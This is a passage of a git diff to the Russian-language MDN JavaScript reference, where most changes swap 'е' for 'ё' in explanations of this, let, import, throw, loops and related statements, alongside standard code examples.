 // потому что он следует за this из fn2.
 console.log(fn2()() == window); // true
          
 
-
          В примере выше, функция (назовем её анонимной функцией A), присвоенная методу obj.bar, возвращает другую функцию (назовем её анонимной функцией B) которая создана как стрелочная функция. В результате, this функции B при вызове замкнут на this, принадлежащий obj.bar (функции A). this функции B всегда будет иметь то значение, которое он получил при создании. В примере выше, this функции B указывает на this функции A,которым является obj, таким образом this будет равен obj даже тогда, когда будет вызван методом, который в нормальных условиях устанавливал бы значение this равным undefined или глобальному объекту (или любым другим методом, как в предыдущем примере в глобальном контексте выполнения).
          
+
          В примере выше, функция (назовём её анонимной функцией A), присвоенная методу obj.bar, возвращает другую функцию (назовём её анонимной функцией B) которая создана как стрелочная функция. В результате, this функции B при вызове замкнут на this, принадлежащий obj.bar (функции A). this функции B всегда будет иметь то значение, которое он получил при создании. В примере выше, this функции B указывает на this функции A,которым является obj, таким образом this будет равен obj даже тогда, когда будет вызван методом, который в нормальных условиях устанавливал бы значение this равным undefined или глобальному объекту (или любым другим методом, как в предыдущем примере в глобальном контексте выполнения).
          
 
 
          В методе объекта
          
 
@@ -213,7 +213,7 @@ console.log(fn2()() == window); // true
          
 console.log(o.f()); // logs 37
 
          
 
-
          Необходимо отметить, что на поведение this совсем не влияет то, как или где была определена функция. В предыдущем примере мы определили функцию внутри свойства f во время определения объекта o. Однако, мы могли бы также просто определить сначала функцию, а затем закрепить ее за за свойством o.f. В этом случае поведение this не изменится:
          
+
          Необходимо отметить, что на поведение this совсем не влияет то, как или где была определена функция. В предыдущем примере мы определили функцию внутри свойства f во время определения объекта o. Однако, мы могли бы также просто определить сначала функцию, а затем закрепить её за за свойством o.f. В этом случае поведение this не изменится:
          
 
 
          var o = {prop: 37};
 
@@ -236,7 +236,7 @@ console.log(o.b.g()); // logs 42
 
 
          this в цепочке object's prototype
          
 
-
          Это же представление справедливо и для методов, определенных где-либо в цепочке object's prototype. Если метод находится в цепочке прототипов, то this ссылается на объект, на котором был вызван метод, т.е. так, словно метод является методом самого объекта, а не прототипа.
          
+
          Это же представление справедливо и для методов, определённых где-либо в цепочке object's prototype. Если метод находится в цепочке прототипов, то this ссылается на объект, на котором был вызван метод, т.е. так, словно метод является методом самого объекта, а не прототипа.
          
 
 
          var o = {f:function(){ return this.a + this.b; }};
 var p = Object.create(o);
@@ -274,7 +274,7 @@ console.log(o.phase, o.modulus); // logs -0.78 1.4142
 
 
          Когда функция используется как конструктор (с ключевым словом new ), this связано с создаваемым новым объектом.
          
 
-
          Примечание: по умолчанию конструктор возвращает объект, на который ссылается this, но он может вернуть и другой объект (если возвращаемое значение не является объектом, тогда будет возвращен объект с this).
          
+
          Примечание: по умолчанию конструктор возвращает объект, на который ссылается this, но он может вернуть и другой объект (если возвращаемое значение не является объектом, тогда будет возвращён объект с this).
          
 
 
          /*
  * Конструктор работает таким образом:
@@ -312,7 +312,7 @@ o = new C2();
 console.log(o.a); // logs 38
 
          
 
-
          В последнем примере (C2), из-за того, что конструктор вернул объект, новый объект, к которому было привязано this, был просто отброшен. (Это фактически делает выражение "this.a = 37;" "мертвым" кодом. Он не является буквально нерабочим, так как он выполняется, но он может быть изъят без каких-либо внешних эффектов.)
          
+
          В последнем примере (C2), из-за того, что конструктор вернул объект, новый объект, к которому было привязано this, был просто отброшен. (Это фактически делает выражение "this.a = 37;" "мёртвым" кодом. Он не является буквально нерабочим, так как он выполняется, но он может быть изъят без каких-либо внешних эффектов.)
          
 
 
          call и apply
          
 
@@ -335,7 +335,7 @@ add.call(o, 5, 7); // 1 + 3 + 5 + 7 = 16
 add.apply(o, [10, 20]); // 1 + 3 + 10 + 20 = 34
 
          
 
-
          Необходимо отметить, что если методам call и apply передается значение с this, которое не является при этом объектом, будет предпринята попытка конвертировать значение в объект, используя внутреннюю операцию ToObject. Если переданное значение является примитивным типом, например 7 или 'foo', оно будет преобразовано в объект с использованием родственного конструктора, так примитив 7 преобразовывается в объект через new Number(7), а строка 'foo' в объект через new String('foo'), и т.д.
          
+
          Необходимо отметить, что если методам call и apply передаётся значение с this, которое не является при этом объектом, будет предпринята попытка конвертировать значение в объект, используя внутреннюю операцию ToObject. Если переданное значение является примитивным типом, например 7 или 'foo', оно будет преобразовано в объект с использованием родственного конструктора, так примитив 7 преобразовывается в объект через new Number(7), а строка 'foo' в объект через new String('foo'), и т.д.
          
 
 
          function bar() {
   console.log(Object.prototype.toString.call(this));
@@ -382,7 +382,7 @@ for (var i = 0; i < elements.length; i++) {
 </button>
 
          
 
-
          В этом случае this вложенной функции не будет установлен, так что будет возвращен global/window объект.
          
+
          В этом случае this вложенной функции не будет установлен, так что будет возвращён global/window объект.
          
 
 
          Спецификации
          
 
diff --git a/files/ru/web/javascript/reference/operators/void/index.html b/files/ru/web/javascript/reference/operators/void/index.html
index e415aacae7..998c138972 100644
--- a/files/ru/web/javascript/reference/operators/void/index.html
+++ b/files/ru/web/javascript/reference/operators/void/index.html
@@ -41,7 +41,7 @@ translation_of: Web/JavaScript/Reference/Operators/void
 
 
          JavaScript URIs
          
 
-
          Когда браузер переходит по javascript: URI, он вычисляет код в URI и заменяет содержание страницы возвращенным значением, если оно не равно {{jsxref("Global_Objects/undefined", "undefined")}}. Можно воспользоваться оператором void для возврата {{jsxref("Global_Objects/undefined", "undefined")}}. Например:
          
+
          Когда браузер переходит по javascript: URI, он вычисляет код в URI и заменяет содержание страницы возвращённым значением, если оно не равно {{jsxref("Global_Objects/undefined", "undefined")}}. Можно воспользоваться оператором void для возврата {{jsxref("Global_Objects/undefined", "undefined")}}. Например:
          
 
 
          <a href="javascript:void(0);">
   Click here to do nothing
diff --git a/files/ru/web/javascript/reference/statements/async_function/index.html b/files/ru/web/javascript/reference/statements/async_function/index.html
index 966ea49b80..a956f73e66 100644
--- a/files/ru/web/javascript/reference/statements/async_function/index.html
+++ b/files/ru/web/javascript/reference/statements/async_function/index.html
@@ -81,7 +81,7 @@ add2(10).then(v => {
 
          
 
          Не путайте await и Promise.all
          
 
-
          Функция add1 приостанавливается на 2 секунды для первого await и еще на 2 для второго. Второй таймер создается только после срабатывания первого. В функции add2 создаются оба и оба же переходят в состояние await. В результате функция add2 завершится скорее через две, чем через четыре секунды, поскольку таймеры работают одновременно. Однако запускаются они все же не параллельно, а друг за другом - такая конструкция не означает автоматического использования Promise.all. Если два или более Promise должны разрешаться параллельно, следует использовать Promise.all.
          
+
          Функция add1 приостанавливается на 2 секунды для первого await и ещё на 2 для второго. Второй таймер создаётся только после срабатывания первого. В функции add2 создаются оба и оба же переходят в состояние await. В результате функция add2 завершится скорее через две, чем через четыре секунды, поскольку таймеры работают одновременно. Однако запускаются они все же не параллельно, а друг за другом - такая конструкция не означает автоматического использования Promise.all. Если два или более Promise должны разрешаться параллельно, следует использовать Promise.all.
          
 
          
 
 
          Когда функция async выбрасывает исключение
          
@@ -136,7 +136,7 @@ throwsValue()
 }
 
          
 
-
          Заметьте, что пример выше не содержит await на return, потому что возвращаемое значение функции async неявно обернуто в {{jsxref("Promise.resolve")}}.
          
+
          Заметьте, что пример выше не содержит await на return, потому что возвращаемое значение функции async неявно обёрнуто в {{jsxref("Promise.resolve")}}.
          
 
 
          Спецификации
          
 
@@ -165,7 +165,7 @@ throwsValue()
 
          Поддержка браузерами
          
 
 
          
-
+
 
 
          {{Compat("javascript.statements.async_function")}}
          
 
          
diff --git a/files/ru/web/javascript/reference/statements/block/index.html b/files/ru/web/javascript/reference/statements/block/index.html
index a6fb564aa7..c6d34377df 100644
--- a/files/ru/web/javascript/reference/statements/block/index.html
+++ b/files/ru/web/javascript/reference/statements/block/index.html
@@ -41,13 +41,13 @@ original_slug: Web/JavaScript/Reference/Statements/Блок
 
 
          Обратите внимание, что блок инструкций не заканчивается точкой с запятой.
          
 
-
          Блок инструкций часто называется сложной (составной) инструкцией в других языках. Он позволяет вам использовать несколько операторов там, где JavaScript ожидает один оператор. Помещение инструкций в блок - это распространенная практика в JavaScript. Противоположное поведение - использование пустого оператора там, где никаких действий не нужно, а оператор требуется.
          
+
          Блок инструкций часто называется сложной (составной) инструкцией в других языках. Он позволяет вам использовать несколько операторов там, где JavaScript ожидает один оператор. Помещение инструкций в блок - это распространённая практика в JavaScript. Противоположное поведение - использование пустого оператора там, где никаких действий не нужно, а оператор требуется.
          
 
 
          Правила области видимости блока
          
 
 
          С использованием var
          
 
-
          Переменные, объявленные через var, не имеют блочной области видимости. Переменные, введенные внутри блока, имеют областью видимости содержащую их функцию или скрипт, и последствия записи в них значения распространяются за границы, собственно, блока, в котором они объявлены. Другими словами, блок инструкций не вводит новую область видимости. Хотя "отдельно стоящие" блоки не являются нарушением синтаксиса, не стоит использовать отдельно стоящие блоки в JavaScript, потому что они не делают то, чего вы от них ожидаете, если вы ожидаете, что они будут себя вести аналогично блокам в C или Java. Например:
          
+
          Переменные, объявленные через var, не имеют блочной области видимости. Переменные, введённые внутри блока, имеют областью видимости содержащую их функцию или скрипт, и последствия записи в них значения распространяются за границы, собственно, блока, в котором они объявлены. Другими словами, блок инструкций не вводит новую область видимости. Хотя "отдельно стоящие" блоки не являются нарушением синтаксиса, не стоит использовать отдельно стоящие блоки в JavaScript, потому что они не делают то, чего вы от них ожидаете, если вы ожидаете, что они будут себя вести аналогично блокам в C или Java. Например:
          
 
 
          var x = 1;
 {
diff --git a/files/ru/web/javascript/reference/statements/class/index.html b/files/ru/web/javascript/reference/statements/class/index.html
index 6e772f9c6a..507c13cb10 100644
--- a/files/ru/web/javascript/reference/statements/class/index.html
+++ b/files/ru/web/javascript/reference/statements/class/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Statements/class
 ---
 
          {{jsSidebar("Statements")}}
          
 
-
          Class declaration создает новый класс с данным именем на основе прототипного наследования.
          
+
          Class declaration создаёт новый класс с данным именем на основе прототипного наследования.
          
 
 
          
 
          Можно так же определить класс, используя {{jsxref("Operators/class", "class expression", "", 1)}}. Но в отличие от class expression, class declaration не позволяет снова объявить уже существующий класс, это приведёт к ошибке типа.
          
@@ -54,7 +54,7 @@ class Square extends Polygon {
 class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared
 
          
 
-
          Та же ошибка будет вызвана, если класс был определен перед использованием class declaration.
          
+
          Та же ошибка будет вызвана, если класс был определён перед использованием class declaration.
          
 
 
          var Foo = class {};
 class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared
diff --git a/files/ru/web/javascript/reference/statements/do...while/index.html b/files/ru/web/javascript/reference/statements/do...while/index.html
index f6707b4b04..6a2aa31f07 100644
--- a/files/ru/web/javascript/reference/statements/do...while/index.html
+++ b/files/ru/web/javascript/reference/statements/do...while/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Statements/do...while
 ---
 
          {{jsSidebar("Statements")}}
          
 
-
          Выражение do...while создает цикл, который выполняет указанное выражение до тех пор, пока условие не станет ложным. Условие проверяется после выполнения выражения, то есть выражение выполнится как минимум один раз.
          
+
          Выражение do...while создаёт цикл, который выполняет указанное выражение до тех пор, пока условие не станет ложным. Условие проверяется после выполнения выражения, то есть выражение выполнится как минимум один раз.
          
 
 
          {{EmbedInteractiveExample("pages/js/statement-dowhile.html")}}
          
 
@@ -23,7 +23,7 @@ while (условие);
 
 
          
  
          условие
          
- 
          Выражение, которое вычисляется после каждого шага цикла. Если условие истинно, то выражение выполняется еще раз. Когда условие ложно, выполняется выражение, следующее после do...while.
          
+ 
          Выражение, которое вычисляется после каждого шага цикла. Если условие истинно, то выражение выполняется ещё раз. Когда условие ложно, выполняется выражение, следующее после do...while.
          
 
          
 
 
          Примеры
          
diff --git a/files/ru/web/javascript/reference/statements/empty/index.html b/files/ru/web/javascript/reference/statements/empty/index.html
index 3792c035bc..64aee27def 100644
--- a/files/ru/web/javascript/reference/statements/empty/index.html
+++ b/files/ru/web/javascript/reference/statements/empty/index.html
@@ -39,7 +39,7 @@ console.log(arr)
    killTheUniverse()  // Это всегда выполняется!!!
 
          
 
-
          Другой пример: if...else без фигурных скобок  ({}). Если three истинно, ничего не произойдет, four не важна, и функция launchRocket() тоже не запустится.
          
+
          Другой пример: if...else без фигурных скобок  ({}). Если three истинно, ничего не произойдёт, four не важна, и функция launchRocket() тоже не запустится.
          
 
 
          if (one)
   doOne();
diff --git a/files/ru/web/javascript/reference/statements/for-await...of/index.html b/files/ru/web/javascript/reference/statements/for-await...of/index.html
index 9ed679ace7..d5a6b93e35 100644
--- a/files/ru/web/javascript/reference/statements/for-await...of/index.html
+++ b/files/ru/web/javascript/reference/statements/for-await...of/index.html
@@ -77,7 +77,7 @@ translation_of: Web/JavaScript/Reference/Statements/for-await...of
 // 1
 // 2
          
 
-
          Для более конкретного примера перебора асинхронного генератора с помощью for await... of, рассмотрим перебор данных из API.  В этом примере сначала создается асинхронный итератор для потока данных, а затем он используется для определения размера ответа от API.
          
+
          Для более конкретного примера перебора асинхронного генератора с помощью for await... of, рассмотрим перебор данных из API.  В этом примере сначала создаётся асинхронный итератор для потока данных, а затем он используется для определения размера ответа от API.
          
 
 
          async function* streamAsyncIterator(stream) {
   const reader = stream.getReader();
diff --git a/files/ru/web/javascript/reference/statements/for...in/index.html b/files/ru/web/javascript/reference/statements/for...in/index.html
index 24d7434f81..18ffee0e24 100644
--- a/files/ru/web/javascript/reference/statements/for...in/index.html
+++ b/files/ru/web/javascript/reference/statements/for...in/index.html
@@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Statements/for...in
 
 
          Удаление, добавление и модификация свойств
          
 
-
          Цикл for...in проходит по свойствам в произвольном порядке (см. оператор {{jsxref("Operators/delete", "delete")}} для того, чтобы узнать почему порядок прохода может отличаться в зависимости от браузера). Если свойство изменяется за одну итерацию, а затем изменяется снова, его значением в цикле является его последнее значение. Свойство, удаленное до того, как до него дошёл цикл, не будет участвовать в нём. Свойства добавленные в объекты в цикле могут быть пропущены. В общем, лучше не добавлять, изменять или удалять свойство из объекта во время итерации, если по нему ещё не прошли. Нет гарантии, что добавленное свойство будет посещено циклом, низменное после проведения изменений, а удалённое после удаления.
          
+
          Цикл for...in проходит по свойствам в произвольном порядке (см. оператор {{jsxref("Operators/delete", "delete")}} для того, чтобы узнать почему порядок прохода может отличаться в зависимости от браузера). Если свойство изменяется за одну итерацию, а затем изменяется снова, его значением в цикле является его последнее значение. Свойство, удалённое до того, как до него дошёл цикл, не будет участвовать в нём. Свойства добавленные в объекты в цикле могут быть пропущены. В общем, лучше не добавлять, изменять или удалять свойство из объекта во время итерации, если по нему ещё не прошли. Нет гарантии, что добавленное свойство будет посещено циклом, низменное после проведения изменений, а удалённое после удаления.
          
 
 
          Проход по массиву и for...in
          
 
diff --git a/files/ru/web/javascript/reference/statements/for...of/index.html b/files/ru/web/javascript/reference/statements/for...of/index.html
index fdf8799529..cd4447e59f 100644
--- a/files/ru/web/javascript/reference/statements/for...of/index.html
+++ b/files/ru/web/javascript/reference/statements/for...of/index.html
@@ -213,7 +213,7 @@ for (var value of iterable) {
 
 
          Для {{jsxref("Statements/for...in", "for...in")}} обход перечисляемых свойств объекта осуществляется в произвольном порядке.
          
 
-
          Для for...of обход происходит в соответствии с тем, какой порядок определен в итерируемом объекте.
          
+
          Для for...of обход происходит в соответствии с тем, какой порядок определён в итерируемом объекте.
          
 
 
          Следующий пример показывает различия в работе циклов for...of и for...in при обходе {{jsxref("Array")}}.
          
 
@@ -237,7 +237,7 @@ for (let i of iterable) {
   console.log(i); // выведет 3, 5, 7
 }
          
 
-
          Разберемся шаг за шагом в вышеописанном коде.
          
+
          Разберёмся шаг за шагом в вышеописанном коде.
          
 
 
          Object.prototype.objCustom = function() {};
 Array.prototype.arrCustom = function() {};
@@ -251,7 +251,7 @@ iterable.foo = 'hello';
          
   console.log(i); // выведет 0, 1, 2, "foo", "arrCustom", "objCustom"
 }
          
 
-
          Цикл выводит только перечисляемые свойства объекта iterable, в порядке их создания. Он не выводит значения 3, 5, 7 и hello поскольку они не являются перечисляемыми, фактически они вообще не являются свойствами, они являются значениями. Выводятся же имена свойств и методов, например arrCustom и objCustom. Если вы еще не совсем поняли, по каким свойствам осуществляется обход, вот дополнительное объяснение того, как работает {{jsxref("Statements/for...in", "array iteration and for...in", "#Array_iteration_and_for...in")}} .
          
+
          Цикл выводит только перечисляемые свойства объекта iterable, в порядке их создания. Он не выводит значения 3, 5, 7 и hello поскольку они не являются перечисляемыми, фактически они вообще не являются свойствами, они являются значениями. Выводятся же имена свойств и методов, например arrCustom и objCustom. Если вы ещё не совсем поняли, по каким свойствам осуществляется обход, вот дополнительное объяснение того, как работает {{jsxref("Statements/for...in", "array iteration and for...in", "#Array_iteration_and_for...in")}} .
          
 
 
          for (let i in iterable) {
   if (iterable.hasOwnProperty(i)) {
diff --git a/files/ru/web/javascript/reference/statements/for/index.html b/files/ru/web/javascript/reference/statements/for/index.html
index 6b394ef5a5..080e4e8c61 100644
--- a/files/ru/web/javascript/reference/statements/for/index.html
+++ b/files/ru/web/javascript/reference/statements/for/index.html
@@ -52,7 +52,7 @@ for (; i < 9; i++) {
 }
 
          
 
-
          Как и блок инициализации, блок условия не обязателен. Если пропустите это выражение, вы должны быть уверены, что прервете цикл где-то в теле, а не создадите бесконечный цикл.
          
+
          Как и блок инициализации, блок условия не обязателен. Если пропустите это выражение, вы должны быть уверены, что прервёте цикл где-то в теле, а не создадите бесконечный цикл.
          
 
 
          for (var i = 0;; i++) {
    console.log(i);
diff --git a/files/ru/web/javascript/reference/statements/import/index.html b/files/ru/web/javascript/reference/statements/import/index.html
index d301e39327..99911d4f33 100644
--- a/files/ru/web/javascript/reference/statements/import/index.html
+++ b/files/ru/web/javascript/reference/statements/import/index.html
@@ -46,7 +46,7 @@ import("/module-name.js").then(module => {…}) // Динамический 
  
          module-name
          
  
          Имя модуля для импорта. Это зачастую относительный или абсолютный путь к .js файлу модуля без указания расширения .js. Некоторые сборщики могут разрешать или даже требовать использования расширения; проверяйте своё рабочее окружение. Допускаются только строки с одиночными или двойными кавычками.
          
  
          name
          
- 
          Имя локального объекта, который будет использован как своего рода пространство имен, ссылающееся на импортируемые значения.
          
+ 
          Имя локального объекта, который будет использован как своего рода пространство имён, ссылающееся на импортируемые значения.
          
 
          
 
 
          
@@ -61,7 +61,7 @@ import("/module-name.js").then(module => {…}) // Динамический 
 
 
          Описание
          
 
-
          Параметр name это имя локального объекта, который будет использован как своего рода пространство имен, ссылающееся на импортируемые значения. Параметры export определяют отдельные именованные значения, в то время как import * as name импортирует все значения. Примеры ниже объясняют синтаксис.
          
+
          Параметр name это имя локального объекта, который будет использован как своего рода пространство имён, ссылающееся на импортируемые значения. Параметры export определяют отдельные именованные значения, в то время как import * as name импортирует все значения. Примеры ниже объясняют синтаксис.
          
 
 
          Импорт всего содержимого модуля
          
 
@@ -69,13 +69,13 @@ import("/module-name.js").then(module => {…}) // Динамический 
 
 
          import * as myModule from '/modules/my-module.js';
          
 
-
          В данном случае, доступ к импортируемым значениям можно осуществить с использованием имени модуля (в данном случае "myModule") в качестве пространства имен. Например, если импортируемый выше модуль включает в себя экспорт метода doAllTheAmazingThings(), вы можете вызвать его так:
          
+
          В данном случае, доступ к импортируемым значениям можно осуществить с использованием имени модуля (в данном случае "myModule") в качестве пространства имён. Например, если импортируемый выше модуль включает в себя экспорт метода doAllTheAmazingThings(), вы можете вызвать его так:
          
 
 
          myModule.doAllTheAmazingThings();
          
 
 
          Импорт единичного значения из модуля
          
 
-
          Определенное ранее значение, названное myExport, которое было экспортировано из модуля my-module либо неявно (если модуль был экспортирован целиком), либо явно (с использованием инструкции {{jsxref("Statements/export", "export")}}), позволяет вставить myExport в текущую область видимости.
          
+
          Определённое ранее значение, названное myExport, которое было экспортировано из модуля my-module либо неявно (если модуль был экспортирован целиком), либо явно (с использованием инструкции {{jsxref("Statements/export", "export")}}), позволяет вставить myExport в текущую область видимости.
          
 
 
          import {myExport} from '/modules/my-module.js';
          
 
@@ -85,7 +85,7 @@ import("/module-name.js").then(module => {…}) // Динамический 
 
 
          import {foo, bar} from '/modules/my-module.js';
          
 
-
          Импорт значений с использованием более удобных имен
          
+
          Импорт значений с использованием более удобных имён
          
 
 
          Вы можете переименовать значения, когда импортируете их. Например, этот код вставляет shortName в текущую область видимости.
          
 
@@ -117,10 +117,10 @@ import("/module-name.js").then(module => {…}) // Динамический 
 
          import myDefault from '/modules/my-module.js';
 
          
 
-
          Возможно также использование такого синтаксиса с другими вариантами из перечисленных выше (импорт пространства имен или именованный импорт). В таком случае, импорт значения по умолчанию должен быть определён первым. Для примера:
          
+
          Возможно также использование такого синтаксиса с другими вариантами из перечисленных выше (импорт пространства имён или именованный импорт). В таком случае, импорт значения по умолчанию должен быть определён первым. Для примера:
          
 
 
          import myDefault, * as myModule from '/modules/my-module.js';
-// myModule использовано как пространство имен
          
+// myModule использовано как пространство имён
        
 
 
        или
        
 
diff --git a/files/ru/web/javascript/reference/statements/let/index.html b/files/ru/web/javascript/reference/statements/let/index.html
index 2f38f7e7ca..df2a17de02 100644
--- a/files/ru/web/javascript/reference/statements/let/index.html
+++ b/files/ru/web/javascript/reference/statements/let/index.html
@@ -87,7 +87,7 @@ for (var i = 1; i <= 5; i++) {
 
 
        Пример выше будет выполнен как и ожидается, так как пять экземпляров внутренней функции (анонимной) будут ссылаться на пять разных экземпляров переменной i. Пример будет выполнен неверно, если заменить директиву let на var, или удалить переменную i из параметров вложенной функции и использовать внешнюю переменную i во внутренней функции.
        
 
-
        На верхнем уровне скриптов и функций let, в отличии от var, не создает свойства на глобальном объекте. Например:
        
+
        На верхнем уровне скриптов и функций let, в отличии от var, не создаёт свойства на глобальном объекте. Например:
        
 
 
        var x = 'global_x';
 let y = 'global_y';
@@ -130,16 +130,16 @@ console.log(privateScope.hiddenProperty); // error
        
 
 
        Эта техника позволяет получить только "статичное" приватное состояние - в примере выше, все экземпляры полученные из конструктора SomeConstructor будут ссылаться на одну и ту же область видимости privateScope.
        
 
-
        Временные мертвые зоны и ошибки при использовании let
        
+
        Временные мёртвые зоны и ошибки при использовании let
        
 
-
        Повторное объявление той же переменной в том же блоке или функции приведет к выбросу исключения SyntaxError.
        
+
        Повторное объявление той же переменной в том же блоке или функции приведёт к выбросу исключения SyntaxError.
        
 
 
        if (x) {
   let foo;
   let foo; // SyntaxError thrown.
 }
        
 
-
        В стандарте ECMAScript 2015 переменные, объявленные директивой let, переносятся в начало блока. Но если вы сошлетесь в блоке на переменную, до того как она объявлена директивой let, то это приведет к выбросу исключения ReferenceError, потому что переменная находится во "временной мертвой зоне" с начала блока и до места ее объявления. (В отличии от переменной, объявленной через var, которая просто будет содержать значение undefined)
        
+
        В стандарте ECMAScript 2015 переменные, объявленные директивой let, переносятся в начало блока. Но если вы сошлётесь в блоке на переменную, до того как она объявлена директивой let, то это приведёт к выбросу исключения ReferenceError, потому что переменная находится во "временной мёртвой зоне" с начала блока и до места её объявления. (В отличии от переменной, объявленной через var, которая просто будет содержать значение undefined)
        
 
 
        function do_something() {
   console.log(bar); // undefined
@@ -175,7 +175,7 @@ for ( let i=i ; i < 10 ; i++ ) {
 
        for (let expr1; expr2; expr3) statement
 
        
 
-
        В этом примере expr2, expr3, statement  заключены в неявный блок, который содержит блок локальных переменных, объявленных конструкцией let expr1. Пример приведен выше.
        
+
        В этом примере expr2, expr3, statement  заключены в неявный блок, который содержит блок локальных переменных, объявленных конструкцией let expr1. Пример приведён выше.
        
 
 
        Примеры
        
 
@@ -224,7 +224,7 @@ console.log(i); // i is not defined
        
 
 
        Описание
        
 
-
        let блок предоставляет локальную область видимости для переменных. Работа его заключается в привязке нуля или более переменных к области видимости этого блока кода, другими словами, он является блоком операторов. Отметим, что область видимости переменных, объявленных директивой var, в блоке let, будет той же самой, что и если бы эти переменные были объявлены вне блока let, иными словами областью видимости таких переменных по-прежнему является функция. Скобки в блоке let являются обязательными. Опускание их приведет к синтаксической ошибке.
        
+
        let блок предоставляет локальную область видимости для переменных. Работа его заключается в привязке нуля или более переменных к области видимости этого блока кода, другими словами, он является блоком операторов. Отметим, что область видимости переменных, объявленных директивой var, в блоке let, будет той же самой, что и если бы эти переменные были объявлены вне блока let, иными словами областью видимости таких переменных по-прежнему является функция. Скобки в блоке let являются обязательными. Опускание их приведёт к синтаксической ошибке.
        
 
 
        Пример
        
 
@@ -408,7 +408,7 @@ console.log(a); // 5
        • До SpiderMonkey 46 {{geckoRelease(46)}} выбрасывал {{jsxref("TypeError")}} на повторное объявление, вместо {{jsxref("SyntaxError")}} ({{bug(1198833)}}).
          • -
        • До SpiderMonkey 44 {{geckoRelease(44)}}, let был доступен только для блоков кода обернутых в HTML <script type="application/javascript;version=1.7">block (or higher version) и имел другую семантику.
          • -
        • Поддержка в {{domxref("Worker")}} код спрятан за dom.workers.latestJSVersion флагом ({{bug(487070)}}). Без версии let, флаг будет удален в будущем ({{bug(1219523)}}).
          • +
        • До SpiderMonkey 44 {{geckoRelease(44)}}, let был доступен только для блоков кода обёрнутых в HTML <script type="application/javascript;version=1.7">block (or higher version) и имел другую семантику.
          • +
        • Поддержка в {{domxref("Worker")}} код спрятан за dom.workers.latestJSVersion флагом ({{bug(487070)}}). Без версии let, флаг будет удалён в будущем ({{bug(1219523)}}).
        • Соблюдение стандарта ES2015 для let в SpIderMonkey отслеживается в {{bug(950547)}}
        diff --git a/files/ru/web/javascript/reference/statements/return/index.html b/files/ru/web/javascript/reference/statements/return/index.html index 37f44af769..7859580049 100644 --- a/files/ru/web/javascript/reference/statements/return/index.html +++ b/files/ru/web/javascript/reference/statements/return/index.html @@ -25,7 +25,7 @@ translation_of: Web/JavaScript/Reference/Statements/return

        Описание

        -

        При вызове оператора return в функции её выполнение прекращается. Указанное значение возвращается в место вызова функции. Например, приведенная ниже функция возвращает возведенное в квадрат значение своего аргумента, x (где x – это число):

        +

        При вызове оператора return в функции её выполнение прекращается. Указанное значение возвращается в место вызова функции. Например, приведённая ниже функция возвращает возведённое в квадрат значение своего аргумента, x (где x – это число):

        function square(x) {
    return x * x;
diff --git a/files/ru/web/javascript/reference/statements/throw/index.html b/files/ru/web/javascript/reference/statements/throw/index.html
index 1ba0dc149a..7dfceb09c3 100644
--- a/files/ru/web/javascript/reference/statements/throw/index.html
+++ b/files/ru/web/javascript/reference/statements/throw/index.html
@@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Statements/throw
 
 
        Описание
        
 
-
        Используйте инструкцию throw для генерирования исключения. Когда вы генерируете исключение (throw), выражение задает значение исключения. Каждое из следующих throw создает исключение:
        
+
        Используйте инструкцию throw для генерирования исключения. Когда вы генерируете исключение (throw), выражение задаёт значение исключения. Каждое из следующих throw создаёт исключение:
        
 
 
        throw "Error2"; // генерирует исключение, значением которого является строка
 throw 42;       // генерирует исключение, значением которого является число 42
@@ -35,11 +35,11 @@ throw true;     // генерирует исключение, значением
 
 
        Пример: Генерирование объекта в качестве исключения
        
 
-
        Можно указать объект в качестве исключения. Затем можно получить ссылку на этот объект и доступ ко всем его свойствам в блоке catch. Следующий пример создает объект ошибки, который имеет тип UserException, и используется для генерации исключения.
        
+
        Можно указать объект в качестве исключения. Затем можно получить ссылку на этот объект и доступ ко всем его свойствам в блоке catch. Следующий пример создаёт объект ошибки, который имеет тип UserException, и используется для генерации исключения.
        
 
 
        function UserException(message) {
    this.message = message;
-   this.name = "Исключение, определенное пользователем";
+   this.name = "Исключение, определённое пользователем";
 }
 function getMonthName(mo) {
    mo = mo-1; // Нужно скорректировать номер месяца согласно индексам массива (1=Jan, 12=Dec)
@@ -54,11 +54,11 @@ function getMonthName(mo) {
 
 try {
    // statements to try
-   var myMonth = 15; // 15 находится вне границ массива, что приведет к исключению
+   var myMonth = 15; // 15 находится вне границ массива, что приведёт к исключению
    var monthName = getMonthName(myMonth);
 } catch (e) {
    monthName = "неизвестен";
-   logMyErrors(e.message, e.name); // передаем исключение в обработчик ошибок
+   logMyErrors(e.message, e.name); // передаём исключение в обработчик ошибок
 }
 
        
 
@@ -67,7 +67,7 @@ try {
 
        Следующий пример проверяет, является ли строка, переданная в функцию, почтовым индексом США. Если индекс имеет недопустимый формат, будет сгенерировано исключение посредством создания объекта, имеющего тип ZipCodeFormatException.
        
 
 
        /*
- * Создает объект ZipCode.
+ * Создаёт объект ZipCode.
  *
  * Допустимые форматы почтового индекса:
  *    12345
@@ -125,16 +125,16 @@ function verifyZipCode(z) {
    return z;
 }
 
-a = verifyZipCode(95060);         // вернет 95060
-b = verifyZipCode(9560);          // вернет -1
-c = verifyZipCode("a");           // вернет -1
-d = verifyZipCode("95060");       // вернет 95060
-e = verifyZipCode("95060 1234");  // вернет 95060 1234
+a = verifyZipCode(95060);         // вернёт 95060
+b = verifyZipCode(9560);          // вернёт -1
+c = verifyZipCode("a");           // вернёт -1
+d = verifyZipCode("95060");       // вернёт 95060
+e = verifyZipCode("95060 1234");  // вернёт 95060 1234
 
        
 
 
        Пример: Повторный выброс исключения
        
 
-
        Можно использовать throw для повторного выброса исключения после того, как оно было поймано. В следующем примере ловится исключение с числовым значением и делается повторный выброс, если его значение больше 50.  Повторно выброшенное исключение передается далее в вызывающую функцию или до верхнего уровня, который видит пользователь.
        
+
        Можно использовать throw для повторного выброса исключения после того, как оно было поймано. В следующем примере ловится исключение с числовым значением и делается повторный выброс, если его значение больше 50.  Повторно выброшенное исключение передаётся далее в вызывающую функцию или до верхнего уровня, который видит пользователь.
        
 
 
        try {
    throw n; // бросаем исключение с числовым значением
diff --git a/files/ru/web/javascript/reference/statements/try...catch/index.html b/files/ru/web/javascript/reference/statements/try...catch/index.html
index 241bc90d83..a18bf95b37 100644
--- a/files/ru/web/javascript/reference/statements/try...catch/index.html
+++ b/files/ru/web/javascript/reference/statements/try...catch/index.html
